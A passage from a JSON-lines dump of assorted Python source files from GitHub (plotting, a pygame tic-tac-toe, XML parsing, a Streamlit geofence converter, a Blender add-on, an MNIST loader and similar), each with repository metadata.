permutation_df\n            except NameError:\n                None\n            permutations_filename = (RESULTS_DIR + 'permutations_pca/'\n                                     + 'permuted_correlations'\n                                     + stimuli_postfix + '_layer_' + str(l)\n                                     + '.csv')\n\n    #         print(permutations_filename)\n\n            try:\n                permutation_df = pd.read_csv(permutations_filename,\n                                             index_col=0)\n            except FileNotFoundError:\n                print('File missing:', permutations_filename)\n                print('Please run pca_permutations.py to have all files'\n                      ' required to create the figures.')\n                continue\n\n            mean_permuted_frequency.append(\n                permutation_df['Permuted Frequency'].mean())\n            mean_permuted_orientation.append(\n                permutation_df['Permuted Orientation'].mean())\n\n    #         print(mean_permuted_frequency)\n    #         print(mean_permuted_orientation)\n        ax.plot(mean_permuted_orientation, color='#aaaaaa', lw=3,\n                linestyle='--', label='Mean Permuted Orientation')\n        ax.plot(mean_permuted_frequency, color='#000000', lw=3,\n                linestyle=':', label='Mean Permuted Frequency')\n        plt.legend(loc=3, frameon=False)\n        y_min = 0.1\n        y_max = 1.005\n    #     plt.axis([-1, 26, y_min, y_max])\n        sns.despine(offset=10, trim=True)\n        ax.set_xlabel('Network Layer', size=20)\n        ax.set_ylabel('Correlation Coefficient', size=20)\n\n        general_figs_dir = os.sep.join(figs_dir.split(os.sep)[:-2])\n        general_figs_dir = os.sep.join(\n            [general_figs_dir, figs_dir.split(os.sep)[-2]])\n\n        general_figs_dir = os.sep.join(figs_dir.split(os.sep)[:-2])\n        general_figs_dir = os.sep.join(\n            [general_figs_dir, figs_dir.split(os.sep)[-2]])\n\n        ax.tick_params(axis='both', which='both', top='off', right='off')\n\n        fig.savefig(general_figs_dir + '_correlation.pdf', bbox_inches='tight')\n        fig.savefig(general_figs_dir + '_correlation.png', bbox_inches='tight')\n        # if 'original' in figs_dir:\n        # print(df[['Frequency', 'Orientation']])\n        # print(df)\n\n        if just_original:\n            print(general_figs_dir + '_correlation.pdf')\n            return general_figs_dir + '_correlation.pdf'\n\n\nif __name__ == '__main__':\n    create_and_save_figures(just_original=False)\n","repo_name":"oliviaguest/levels-of-representation-in-a-deep-learning-model-of-categorization","sub_path":"gabor_experiment/figure.py","file_name":"figure.py","file_ext":"py","file_size_in_byte":4770,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"}
{"seq_id":"36414310247","text":"import pygame\n\npygame.init()\n\nscreen = pygame.display.set_mode((1080,720))\np1col = (255,122,122)\np2col = (0,0,255)\ndef num_to_coords(x,y):\n    if x == 1 and y == 1:\n        return 7\n    if x == 1 and y == 2:\n        return 4\n    if x == 1 and y == 3:\n        return 1\n    if x == 2 and y == 1:\n        return 8\n    if x == 2 and y == 2:\n        return 5\n    if x == 2 and y == 3:\n        return 2\n    if x == 3 and y == 1:\n        return 9\n    if x == 3 and y == 2:\n        return 6\n    if x == 1 and y == 1:\n        return 3\ndef num_to_x(num):\n    if num == 1 or num == 4 or num == 7:\n        return 1\n    if num == 2 or num == 5 or num == 8:\n        return 2\n    if num == 3 or num == 6 or num == 9:\n        return 3\ndef num_to_y(num):\n    if num == 1 or num == 2 or num == 3:\n        return 3\n    if num == 4 or num == 5 or num == 6:\n        return 2\n    if num == 7 or num == 8 or num == 9:\n        return 1\ndef make_map():\n    font = pygame.font.Font('freesansbold.ttf',64)\n    p1txt = font.render('PLAYER',True,(10,10,10))\n    p2txt = font.render('COMPUTER',True,(10,10,10))\n    pygame.draw.rect(screen,p1col,(0,0,540,120))\n    pygame.draw.rect(screen,p2col,(540,0,540,120))\n    screen.blit(p1txt,(10,10))\n    screen.blit(p2txt,(680,10))\n    pygame.draw.rect(screen,(122,122,122),(235,110,610,610))\n    pygame.draw.rect(screen,(0,0,0),(245,120,590,590))\n    n = 1\n    while n <= 2:\n        pygame.draw.rect(screen,(122,122,122),(245,110+n*200,600,10))\n        pygame.draw.rect(screen,(122,122,122),(235+n*200,110,10,600))\n\n        n+=1\ndef cross(num):\n    n = 0\n    while n <= 156:\n        pygame.draw.circle(screen, p1col, ((num_to_x(num) - 1) * 200 + 262+n, ((num_to_y(num) - 1)) * 200 + 137+n), 12)\n        pygame.draw.circle(screen, p1col, ((num_to_x(num) - 1) * 200 + 262+n, ((num_to_y(num) - 1)) * 200 + 293-n), 12)\n        n += 1\ndef circle(num):\n    pygame.draw.circle(screen, p2col, (340 + (num_to_x(num)-1)*200, 215 + (num_to_y(num)-1)*200), 85)\n    pygame.draw.circle(screen, (0,0,0), (340 + (num_to_x(num)-1)*200, 215 + (num_to_y(num)-1)*200), 61)\n\nrunning = True\nwhile running:\n    for event in pygame.event.get():\n        if event.type == pygame.QUIT:\n            running = False\n\n\n\n    pygame.draw.rect(screen, (0, 0, 0), (0, 0, 1080, 720))\n    make_map()\n    circle(6)\n    cross(1)\n\n    pygame.display.flip()\n\npygame.quit()\n","repo_name":"mmiko4/Tic-Tac-Toe","sub_path":"TTT.py","file_name":"TTT.py","file_ext":"py","file_size_in_byte":2346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"12020647963","text":"import xml.etree.ElementTree as ET\n# use this file\nxmlDoc = ET.parse(\"Files chapter 9/plants.xml\")\n# Find the root <catalog> in this case\nroot = xmlDoc.getroot()\ncount = 0\n\n# Lets you look in the child elements of \"plant\"\nfor common in root.findall(\"plant\"):\n    if common[3].text == \"SUN\": # oefb - Ony show plant that are best in the sun\n        count += 1\n        name = common[0].text # .text to print the words inside\n        botanical = common[1].text\n        print(\"plant\", str(count), \":\", name, \" (\" + botanical + \")\")\n","repo_name":"Woetha/ThomasMore-Python","sub_path":"Pycharm20-21/C9_XMLFiles/Ex1_plantsOverview.py","file_name":"Ex1_plantsOverview.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"2646301939","text":"import geopandas as gpd\nimport re\nfrom shapely import wkt\nimport folium\nimport streamlit as st\nimport streamlit_folium\n\ntry:\n    uploaded_file = st.file_uploader(\"Please Upload GeoJSON or ZIP Shapefiles here\")\n    geofence_gdf = gpd.read_file(uploaded_file)\n    geofence_gdf['str_geom'] = geofence_gdf.geometry.apply(lambda x: wkt.dumps(x))\n    \n    # CONVERT QGIS GEOMETRY TO GEOTOOLS COORDINATES\n    for i, row in geofence_gdf.iterrows():\n       # EXTRACTING THE COORDINATES FROM STR GEOM USING REGEX\n       coordinates_match = re.search(r'POLYGON \\(\\((.*?)\\)\\)', row['str_geom'])\n    if coordinates_match:\n        coordinates_text = coordinates_match.group(1)\n        coordinates = coordinates_text.split(', ')\n\n          #REFORMATING THE COORDINATES ACCORDING GEOTOOLS\n        reformatted_coordinates = []\n        for coord in coordinates:\n            x,y = coord.split(' ')\n            reformatted_coordinates.append(f'{y}, {x}')\n\n        #JOINING THE REFORMATTED COORDINATES WITH COMMAS\n            result_string = ', '.join(reformatted_coordinates)\n            geofence_gdf.at[i, 'geotools_coordinates'] = result_string\n        else:\n            st.write(\"invalid input string\")\n    \n       \n    output = st.text_input('File Save As', )\n    csv=geofence_gdf.to_csv()\n    st.download_button(\n      label=\"Download data as CSV\",\n      data=csv,\n      file_name = output+'.csv',\n      mime='text/csv',\n  )\n\nexcept (TypeError, NameError, AttributeError):\n  pass","repo_name":"mahardisetyoso/Tools_to_convert_geofence_tocsv","sub_path":"Geofence_to_CSV.py","file_name":"Geofence_to_CSV.py","file_ext":"py","file_size_in_byte":1464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"41941248869","text":"import re, sys, logging, argparse, traceback, ntpath\nimport matplotlib.pyplot as plt\nimport json, os, glob, subprocess\nimport numpy as np\nimport pandas as pd\nimport importlib.machinery\nfrom pprint import pformat\nfrom src.utils.logging.logging_segue import create_logger\nfrom src.utils.video.multilevel_video_factory import MultilevelVideoFactory\nfrom src.consts.video_configs_consts import *\nfrom src.consts.manifest_representation_consts import *\nfrom src.consts.splitter_consts import *\nfrom src.consts.augmenter_consts import *\nfrom src.utils.video.level import Level\nfrom src.utils.video_factory import Video, FullVideo, EXTENSION\n\ndef pmkdir(kdir):\n    if not os.path.exists(kdir):\n        os.makedirs(kdir)\n\ndef read_configs(configs):\n    with open(configs, 'r') as fin:\n        data = json.load(fin)\n    return data\n\n\ndef empty(folder):\n    for filename in os.listdir(folder):\n        file_path = os.path.join(folder, filename)\n        try:\n            if os.path.isfile(file_path) or os.path.islink(file_path):\n                os.unlink(file_path)\n            elif os.path.isdir(file_path):\n                shutil.rmtree(file_path)\n        except Exception as e:\n            print(\"Error in empyting log folder\")\n            sys.exit(-1)\n\n\nclass SimulationFileHandler:\n    def __init__(self, args):\n        ## parameter check\n\n        assert os.path.exists(args.video_configs), \"Video configuration file doesn't exist\"\n        print(args.segments_handler_configs)\n        assert os.path.exists(args.segments_handler_configs), \"Grouper configuration file doesn't exist\"\n        \n        assert os.path.exists(args.segments_structure_in), \"Video RAW segments do not exists\"\n\n        self.verbose = args.verbose\n        \n        self.logs_dir = args.logs_dir\n        if os.path.exists(args.logs_dir):\n            empty(args.logs_dir)\n        pmkdir(args.logs_dir)\n        \n        log_file = os.path.join(args.logs_dir, 'make_simulation_file.log')\n        self.logger = create_logger('Make Simulation File: Main', log_file, verbose=args.verbose)\n        \n        self.logger.info(\"Simulation file handler module initialized\")\n        self.logger.info(\"Logs file stored in {}\".format(log_file))\n        \n        ## Outputs:\n        self.simulation_file_out = args.simulation_file_out\n        self.logger.info(\"Simulation file stored in {}\".format(self.simulation_file_out))\n        pmkdir(os.path.dirname(self.simulation_file_out))\n        \n        self.csv_std_segments_in = pd.read_csv(args.csv_std_segments_in, keep_default_na=False)\n        try:\n            self.csv_aug_segments_in = pd.read_csv(args.csv_aug_segments_in)\n        except:\n            self.logger.warning(\"aug chunks {} does not exist! Continuing without augmentation\".format(args.csv_aug_segments_in))\n            self.csv_aug_segments_in = None \n\n        self.logger.info(\"Reference segments csv in: {}\".format(args.csv_std_segments_in))\n        self.logger.info(\"Augmented segments csv in: {}\".format(args.csv_aug_segments_in))\n\n        self.csv_std_segments_out = args.csv_std_segments_out\n        self.logger.info(\"CSV of standard segments will be stored in {}\".format(self.csv_std_segments_out))\n        pmkdir(os.path.dirname(self.csv_std_segments_out))\n        \n        if args.csv_aug_segments_out:\n            self.csv_aug_segments_out = args.csv_aug_segments_out\n            self.logger.info(\"CSV of augmented segments will be stored in {}\".format(self.csv_aug_segments_out))\n\n\n        ## creation of figsdir\n        pmkdir(args.figs_dir)\n        self.figs_dir = args.figs_dir\n        self.logger.info(\"Figs will be stored in {}\".format(self.figs_dir))\n        \n\n        self.video_data = read_configs(args.video_configs)\n        self.logger.info(\"Accounted video data stored = {}\".format(args.video_configs))\n        self.logger.debug(\"Accounted video data {}\".format(self.video_data))\n\n        self.segments_handler_data = read_configs(args.segments_handler_configs)\n        self.logger.info(\"Accounted augmenter data stored = {}\".format(self.segments_handler_data))\n        self.logger.debug(\"Accounted augmenter data {}\".format(self.segments_handler_data))\n\n        \n        self.simulation_file_data = read_configs(args.sim_file_configs)\n        self.logger.info(\"Accounted simulation file data stored = {}\".format(args.sim_file_configs))\n        self.logger.debug(\"Accounted simulation file data {}\".format(self.simulation_file_data))\n\n        \n        self.segments_structure_in = read_configs(args.segments_structure_in)\n        self.logger.info(\"Accounted segments boundaries stored = {}\".format(args.segments_structure_in))\n       \n        video_original_path = self.video_data[K_VIDEO_PATH]\n        assert os.path.exists(video_original_path), \"Original video does not exists\"\n        \n        self.logger.debug(\"Creating raw video from {}\".format(video_original_path))\n        self.raw_video  = FullVideo(Video(video_original_path, self.logs_dir, verbose=self.verbose))\n        \n        self.logger.info(\"Raw video from {} created succesfully\".format(video_original_path))\n        self.logger.debug(\"Video {} has a total of {} frames for {} fps\".format(self.raw_video.video().video_path(),\n                                                                                self.raw_video.video().load_total_frames(),\n                                                                                self.raw_video.video().load_fps()))\n        self.resolutions = self.video_data[K_RESOLUTIONS].split()\n        self.logger.debug(\"Original video resolution = {}\".format(self.resolutions))\n        \n\n        self.rescaled_video_template = args.rescaled_video_template\n        self.logger.debug(\"Rescaled video template is {}\".format(self.rescaled_video_template))\n\n        self.multires_video = None\n\n        self.rescaled_videos = []\n        for res in self.resolutions:\n            video_path = self.rescaled_video_template.format(res)\n            self.logger.debug(\"Looking for {}\".format(video_path))\n            assert os.path.exists(video_path), video_path\n            self.rescaled_videos.append(FullVideo(Video(video_path, self.logs_dir, verbose=self.verbose)))\n            self.logger.info(\"Video {} found\".format(video_path))\n        \n        \n\n        splitting_module = self.simulation_file_data[K_SPLITTING_MODULE].replace('/','.').replace('.py', '')\n        splitting_class = self.simulation_file_data[K_SPLITTING_CLASS]\n        self.logger.info(\"Splitting module = {}\".format(splitting_module))\n        self.logger.info(\"Splitting class = {}\".format(splitting_class))\n\n        try:\n            splitting_module_args = self.simulation_file_data[K_SPLITTING_MODULE_ARGS]\n            self.logger.debug(\"Splitting module args = {}\".format(splitting_module_args))\n        except:\n            splitting_module_args = {}\n            self.logger.warning(\"No splitting module argument has been passed\")\n        \n        try:\n            self.logger.debug(\"Retrieving splitting policy\")\n            SplittingPolicy = getattr(importlib.import_module(splitting_module), splitting_class)\n            self.logger.info(\"Splitting policy retrieved correctly\")\n        except:\n            self.logger.error(\"{} doesn't contain class name {}, or some errors are present in module\".format(splitting_module, splitting_class))\n            self.logger.exception(\"message\") \n            sys.exit(-1)\n        \n\n        try:\n            self.logger.debug(\"Instantiating splitting policy\")\n            self.splitting_policy_std = SplittingPolicy(   self.raw_video,\n                                                           self.rescaled_videos,\n                                                           os.path.dirname(self.rescaled_video_template),\n                                                           self.segments_structure_in,\n                                                           splitting_module_args,\n                                                           args.verbose,\n                                                           args.logs_dir,\n                                                           args.figs_dir)\n\n            self.logger.info(\"Splitting policy instantiated correctly\")\n        except:\n            self.logger.error(\"Something went wrong in the instantiation of the class\")\n            self.logger.exception(\"message\")\n            sys.exit(-1)\n\n        self.augmented_videos = []\n        self.splitting_policy_aug = None\n        try:\n            assert self.csv_aug_segments_in is not None\n            augmenter_module_args = self.segments_handler_data[K_AUGMENTER_MODULE_ARGS]\n            self.logger.debug(\"Augmenter module args = {}\".format(augmenter_module_args))\n            \n            augmenter_encoding_name =  augmenter_module_args[K_AUGMENTER_ENCODING_NAME]\n            self.logger.info(\"Looking for augmented segments in {}\".format(augmenter_encoding_name))\n            \n            for res in self.resolutions:\n                video_path = args.augmented_video_template.format(augmenter_encoding_name, res, EXTENSION)\n                self.logger.debug(\"Looking for {}\".format(video_path))\n                if not os.path.exists(video_path):\n                    self.logger.warning(\"{} does not exists. Skipping..\".format(video_path))\n                    continue\n                \n                self.augmented_videos_template = os.path.dirname(args.augmented_video_template.format(augmenter_encoding_name, '{}', EXTENSION))\n                self.augmented_videos.append(FullVideo(Video(video_path, self.logs_dir, verbose=self.verbose)))\n                self.logger.info(\"Video {} found\".format(video_path))\n            try:\n                self.splitting_policy_aug = SplittingPolicy(   self.raw_video,\n                                                               self.augmented_videos,\n                                                               self.augmented_videos_template,\n                                                               self.segments_structure_in,\n                                                               splitting_module_args,\n                                                               args.verbose,\n                                                               args.logs_dir,\n                                                               args.figs_dir)\n            except:\n                self.logger.exception(\"message\") \n                sys.exit(-1)\n        except:\n            self.augmenter_policy = None\n            self.logger.info(\"No augmentation policy selected. Processing video unaugmented\")\n\n\n\n    def compute_splitting(self):\n        self.logger.info(\"Starting video splitting and computation: std segments\")\n        self.splitting_policy_std.split_and_compute()\n        self.logger.info(\"Video splitting computed succesfully\")\n        fact = MultilevelVideoFactory(self.logger, enable_logging=self.verbose)\n        self.multires_video = fact.multilevel_video_from_full_videos(self.rescaled_videos)\n        \n        # check if there have been some removal #\n        \n        remove_map = {}\n        self.logger.info(\"Checking if std segments present removal\")\n        \n        for i, row in self.csv_std_segments_in.iterrows():\n            for res in self.resolutions:\n                if BITRATE_CSV_STD.format(res) not in row.keys() or row[BITRATE_CSV_STD.format(res)] == '':\n                    if i not in remove_map.keys():\n                        remove_map[i] = []\n                    remove_map[i].append(self.multires_video.get_std_level(res, i))\n\n        self.multires_video = self.multires_video.remove_levels(remove_map)\n        if self.splitting_policy_aug:\n            self.logger.info(\"Starting video splitting and computation: aug segments\")\n            self.splitting_policy_aug.split_and_compute()\n\n    def compute_augmentation(self):\n        \n        assert self.multires_video\n\n        if self.augmented_videos:\n            self.logger.info(\"Adding augmented levels to the video\")\n            augmented_map = {} \n            augmented_videos_map = {}\n\n            for video in self.augmented_videos:\n                augmented_videos_map[video.video().load_resolution()] = video\n\n            for row_index, row in self.csv_aug_segments_in.iterrows():\n                level = augmented_videos_map[ row[RESOLUTION_CSV]].load_segments()[row[INDEX_CSV]]\n                level = Level([level], is_augmented=True)\n                if row[INDEX_CSV] not in augmented_map.keys():\n                    augmented_map[row[INDEX_CSV]] = []\n                augmented_map[row[INDEX_CSV]].append(level)\n                    \n            self.multires_video = self.multires_video.add_levels(augmented_map)\n\n        else:\n            self.logger.info(\"augmentation policy is None\")\n\n    def log_results(self):\n        \n        std_dataframe = self.multires_video.load_std_dataframe()\n        aug_dataframe = self.multires_video.load_aug_dataframe()\n        sim_data = self.multires_video.get_simulation_data()\n        \n        std_dataframe.to_csv(self.csv_std_segments_out)\n        if aug_dataframe is not None:\n            aug_dataframe.to_csv(self.csv_aug_segments_out)\n        \n        with open(self.simulation_file_out, 'w') as fout:\n            json.dump(sim_data, fout)\n\n\nif __name__==\"__main__\":\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--video_configs', help='video configurations', required=True)\n    parser.add_argument('--segments_handler_configs', help='configurations of the rescaler and aug module', required=True)\n    parser.add_argument('--sim_file_configs', help='configurations of the rescaler and aug module', required=True)\n    parser.add_argument('--segments_structure_in', help='indicator for the splitting', required=True)\n    parser.add_argument('--logs_dir', help='where the logs are gonna be stored', required=True)\n    parser.add_argument('--figs_dir', help='where the figs are gonna be stored', required=True)\n    parser.add_argument('--simulation_file_out', help='output: json file for the simulation', required=True)\n    parser.add_argument('--csv_std_segments_in', help='output: recap csv for segments std', required=True)\n    parser.add_argument('--csv_aug_segments_in', help='output: recap csv for segments aug')\n    parser.add_argument('--csv_std_segments_out', help='output: recap csv for segments std', required=True)\n    parser.add_argument('--csv_aug_segments_out', help='output: recap csv for segments aug')\n    parser.add_argument('--rescaled_video_template', help='rescaled video template', required=True)\n    parser.add_argument('--augmented_video_template', help='rescaled video template', required=True)\n    parser.add_argument('--verbose', action=\"store_true\")\n    \n    args = parser.parse_args()\n    args.rescaled_video_template = args.rescaled_video_template.format('{}', EXTENSION)\n    ra = SimulationFileHandler(args)\n    ra.compute_splitting()\n    ra.compute_augmentation()\n    ra.log_results()\n","repo_name":"melADTR/Segue","sub_path":"src/augmenter/make_simulation_file.py","file_name":"make_simulation_file.py","file_ext":"py","file_size_in_byte":14955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"9053959943","text":"b = float(input())\na = b+0.0001\nnotas = [100, 50, 20, 10, 5, 2]\nmoedas = [1.00, 0.50, 0.25, 0.10, 0.05, 0.01]\nprint(f\"NOTAS:\")\nfor nota in notas:\n    print(f\"{int(a//nota)} nota(s) de R$ {nota}.00\")\n    a = a%nota\nprint(f\"MOEDAS:\")\nfor moeda in moedas:\n    print(f\"{int(a//moeda)} moeda(s) de R$ {moeda:.2f}\")\n    a = a%moeda","repo_name":"fdbarnabe/Hello-world","sub_path":"beecrowd/1021b.py","file_name":"1021b.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"15195407330","text":"import bpy\r\nimport os\r\nimport subprocess\r\nimport platform\r\n\r\nbl_info = {\r\n    \"name\": \"Open Blend Directory\",\r\n    \"description\": \"Opens the directory where the currently opened .blend file is stored similarly to how JetBrains handles it. Cross Platform!\",\r\n    \"author\": \"Tobin Cavanaugh\",\r\n    \"version\": (1, 0),\r\n    \"blender\": (3, 3, 1),\r\n    \"location\": \"View3D > Tool Shelf > My Addon\",\r\n    \"category\": \"System\",\r\n}\r\n\r\naddon_keymaps = []\r\n\r\n# Thanks to\r\n# https://blender.stackexchange.com/questions/717/is-it-possible-to-print-to-the-report-window-in-the-info-view\r\n# Manu Järvinen & brockmann for this solution\r\ndef ErrorMessageUnsaved(self, context):\r\n    self.layout.label(text=\"You haven't saved your blender file yet! That's bad! Save it!\")\r\n\r\ndef ErrorMessageOS(self, context):\r\n    self.layout.label(text=\"I don't know this operating system! It should be easy to add support for though\")\r\n\r\n\r\n#Actual function for opening the blend directory\r\ndef open_blend_directory():\r\n\r\n    #Get the save data path\r\n    blend_file_path = bpy.data.filepath\r\n\r\n    #Choose the correct OS, if its a valid save path\r\n    #No guarantees that these work on non windows platforms\r\n    #According to Lous Brandy & Boris Verkhoviskiy this should be correct\r\n    # https://stackoverflow.com/questions/1854/how-to-identify-which-os-python-is-running-on\r\n    if blend_file_path:\r\n        if platform.system() == 'Windows':\r\n            subprocess.Popen(f'explorer /select, \"{bpy.data.filepath}\"')\r\n        elif platform.system() == 'Linux':\r\n            subprocess.Popen(['xdg-open', os.path.dirname(blend_file_path)])\r\n        elif platform.system() == 'Darwin':\r\n            subprocess.Popen(['open', '-R', blend_file_path])\r\n        else:\r\n            bpy.context.window_manager.popup_menu(ErrorMessageOS, title=\"Error\", icon='ERROR')\r\n    else:\r\n        bpy.context.window_manager.popup_menu(ErrorMessageUnsaved, title=\"Error\", icon='ERROR')\r\n\r\n\r\ndef register():\r\n\r\n    #Register our class\r\n    bpy.utils.register_class(OpenBlendDirectoryOperator)\r\n    wm = bpy.context.window_manager\r\n\r\n    #I dont really understand whats going on here tbh\r\n\r\n    #Get our new keymap\r\n    km = wm.keyconfigs.addon.keymaps.new(name='Window', space_type='EMPTY')\r\n    \r\n    #Create the keymap? if you want to change the keybinds for alt + shift + r, do it here!!\r\n    kmi = km.keymap_items.new('wm.open_blend_directory', 'R', 'PRESS', alt=True, shift=True)\r\n    \r\n    #Append to the keymaps\r\n    addon_keymaps.append((km, kmi))\r\n\r\n\r\ndef unregister():\r\n\r\n    #Unregister our class\r\n    bpy.utils.unregister_class(OpenBlendDirectoryOperator)\r\n    wm = bpy.context.window_manager\r\n\r\n    #Remove all keymaps\r\n    for km, kmi in addon_keymaps:\r\n        km.keymap_items.remove(kmi)\r\n\r\n    #Clear our locally saved keymaps\r\n    addon_keymaps.clear()\r\n\r\n\r\n#Define our operator class\r\nclass OpenBlendDirectoryOperator(bpy.types.Operator):\r\n\r\n    bl_idname = \"wm.open_blend_directory\"\r\n    bl_label = \"Open Blend Directory\"\r\n    bl_options = {'REGISTER'}\r\n\r\n    #On execution, open the directory\r\n    def execute(self, context):\r\n        open_blend_directory()\r\n        return {'FINISHED'}\r\n\r\nclasses = [\r\n    OpenBlendDirectoryOperator,\r\n]\r\n\r\nif __name__ == \"__main__\":\r\n    register()","repo_name":"TobinCavanaugh/Open-Blend-Directory","sub_path":"OpenBlendDirectory.py","file_name":"OpenBlendDirectory.py","file_ext":"py","file_size_in_byte":3254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"11807570379","text":"from pathlib import Path\nimport json\nimport requests as re\n\n# looks up all .jl files in the data folder and downloads the pdf linked under mainFile/accessUrl\ndef download_pdfs():\n    pathlist = Path(\"data/\").glob(\"**/*.jl\")\n    for path in pathlist:\n        jl_file = str(path)\n        with open(jl_file, \"r\") as f:\n            for paper in f:\n                paper_json = json.loads(paper)\n                if not paper_json.get(\"mainFile\") or not paper_json.get(\"mainFile\").get(\n                    \"accessUrl\"\n                ):  # manche von den jsons haben kein pdf als mainFile verlinkt – sollte man es da woanders suchen?\n                    continue\n                pdf_name = paper_json[\"mainFile\"][\"fileName\"]\n                pdf_path = Path(f\"data/pdfs/{pdf_name}\")\n                if not pdf_path.is_file():\n                    print(\"Processing \" + f\"data/pdfs/{pdf_name}\")\n                    if not pdf_name.startswith(\"1047735.pdf\"):\n                        pdf_url = paper_json[\"mainFile\"][\"accessUrl\"]\n                        response = re.get(pdf_url)\n                        Path(\"data/pdfs\").mkdir(parents=True, exist_ok=True)\n                        with open(f\"data/pdfs/{pdf_name}\", \"wb\") as f:\n                            print(\"Writing contents to \" + f\"data/pdfs/{pdf_name}\")\n                            f.write(response.content)\n    print(\"finished!\")\n\n\ndownload_pdfs()\n","repo_name":"CodeforLeipzig/allris-scraper","sub_path":"2_download_pdfs.py","file_name":"2_download_pdfs.py","file_ext":"py","file_size_in_byte":1399,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
{"seq_id":"31483465088","text":"import numpy as np\nimport os, struct\nfrom array import array as pyarray\nfrom numpy import append, array, int8, uint8, zeros\n\ndef load_mnist(dataset=\"training\", digits=np.arange(10), path=\".\"):\n    \"\"\"\n    Loads MNIST\n\n\tNote that you first need to download files\n\thttp://yann.lecun.com/exdb/mnist/train-images-idx3-ubyte.gz\n\thttp://yann.lecun.com/exdb/mnist/train-labels-idx1-ubyte.gz\n\thttp://yann.lecun.com/exdb/mnist/t10k-images-idx3-ubyte.gz\n\thttp://yann.lecun.com/exdb/mnist/t10k-labels-idx1-ubyte.gz\n\tand unpack them\n    \"\"\"\n\n    if dataset == \"training\":\n        fname_img = os.path.join(path, 'train-images-idx3-ubyte')\n        fname_lbl = os.path.join(path, 'train-labels-idx1-ubyte')\n    elif dataset == \"testing\":\n        fname_img = os.path.join(path, 't10k-images-idx3-ubyte')\n        fname_lbl = os.path.join(path, 't10k-labels-idx1-ubyte')\n    else:\n        raise ValueError(\"dataset must be 'testing' or 'training'\")\n\n    flbl = open(fname_lbl, 'rb')\n    magic_nr, size = struct.unpack(\">II\", flbl.read(8))\n    lbl = pyarray(\"b\", flbl.read())\n    flbl.close()\n\n    fimg = open(fname_img, 'rb')\n    magic_nr, size, rows, cols = struct.unpack(\">IIII\", fimg.read(16))\n    img = pyarray(\"B\", fimg.read())\n    fimg.close()\n\n    ind = [ k for k in range(size) if lbl[k] in digits ]\n    N = len(ind)\n\n    images = zeros((N, rows, cols), dtype=uint8)\n    labels = zeros((N, 1), dtype=int8)\n    for i in range(len(ind)):\n        images[i] = array(img[ ind[i]*rows*cols : (ind[i]+1)*rows*cols ]).reshape((rows, cols))\n        labels[i] = lbl[ind[i]]\n\n    labels += 1\n    labels  = labels.flatten()\n\n    images  = images.astype(np.float16)\n    images  = images.reshape(( images.shape[0], -1 )) # FLATTENING for plain DNN\n\n    return images, labels\n\n\ntesting, lab_testing = load_mnist('testing')\ntrainin, lab_trainin = load_mnist('training')\n\nmean = trainin.astype(np.float64).mean()\nstd  = trainin.astype(np.float64).std()\nprint(mean, std)\n\nnp.save\t(\t'mnist.trainin'\n\t\t,\ttrainin\n\t\t,\tallow_pickle = False\n\t\t)\nnp.save\t(\t'mnist.testing'\n\t\t,\ttesting\n\t\t,\tallow_pickle = False\n\t\t)\n\nnp.save\t(\t'mnist.lab_testing'\n\t\t,\tlab_testing\n\t\t,\tallow_pickle = False\n\t\t)\nnp.save\t(\t'mnist.lab_trainin'\n\t\t,\tlab_trainin\n\t\t,\tallow_pickle = False\n\t\t)\n","repo_name":"ibmua/learning-to-make-nn-in-python","sub_path":"mnist/mnist-prepare.py","file_name":"mnist-prepare.py","file_ext":"py","file_size_in_byte":2229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"26854015340","text":"class Solution:\n    def getPermutation(self, n: int, k: int) -> str:\n        fact = 1\n        numbers = []\n        for i in range(1, n):\n            fact *= i\n            numbers.append(i)\n        numbers.append(n)\n        ans = \"\"\n        k -= 1\n        while True:\n            ans += str(numbers[k // fact])\n            numbers.pop(k // fact)\n            if not numbers:\n                break\n            k %= fact\n            fact //= len(numbers)\n        return ans\n","repo_name":"a-ma-n/Leetcode-Solutions","sub_path":"0060-permutation-sequence/0060-permutation-sequence.py","file_name":"0060-permutation-sequence.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"}
{"seq_id":"10470113139","text":"\nimport os\nimport sys\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pickle\nimport re\n\nfilePattern = re.compile('([^_]*)_([0-9]*).p');\n\nalgos = {}\n\n# point this at the output directory\nfor root, subFolders, files in os.walk('./runtimes/'):\n\tfor file in files:\n\t\tm = filePattern.match(file)\n\t\tif not m:\n\t\t\tcontinue\n\t\talgo = m.group(1)\n\t\tnprob = m.group(2)\n\n\t\twith open(os.path.join(root, file), \"rb\") as input:\n\t\t\tif nprob not in algos:\n\t\t\t\talgos[nprob] = {}\n\t\t\tdata = pickle.load(input)\n\t\t\talgos[nprob][algo] = data\n\nprobNdx = [-1, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, -1, 14, 15, 16, 17, -1, 19, 20, 21]\nalgoIdx = {\n\t'mine': 1,\n\t'pyOpt': 2\n}\n\nwith open('../../octave/assign_to_matlab.m', 'w') as log:\n\tlog.write('h = zeros(0,0,0);')\n\n\tfor nprob in algos.keys():\n\t\tprint(nprob)\n\t\tfor algo in algos[nprob].keys():\n\t\t\tnfev = algos[nprob][algo]['nfev']\n\t\t\tfvals = algos[nprob][algo]['fvals']\n\t\t\tprint('\\t' + str(algo) + \" \" + str(nfev))\n\t\t\tfor i in range(len(fvals)):\n\t\t\t\tlog.write('h(' + str(i + 1) + ', ' + str(probNdx[int(nprob)]) + ', ' + str(algoIdx[algo]) + ') = ' + str(fvals[i][0]) + ';\\n')\n\t\t\txs = 